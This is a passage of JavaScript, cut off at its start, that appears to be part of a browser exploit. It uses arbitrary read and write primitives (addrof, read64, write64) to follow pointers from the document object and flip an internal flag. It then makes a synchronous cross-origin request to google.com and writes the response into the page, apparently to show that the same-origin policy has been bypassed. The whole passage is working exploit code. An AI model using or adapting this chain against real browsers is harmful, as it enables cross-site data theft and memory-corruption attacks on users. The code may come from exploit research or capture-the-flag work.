= addrof(window.document); const p1 = read64(Add(documentAddr, 0x18)); const p2 = read64(Add(p1, 0xa0)); const p3 = read64(Add(p2, 0x8)); const flagAddr = Add(p3, 0x30); let flags = read64(flagAddr); flags.assignAdd(flags, 0x100); write64(flagAddr, flags); xhr.open('GET', 'https://google.com/', false); xhr.send(); document.getElementById('xss').innerText = xhr.responseText;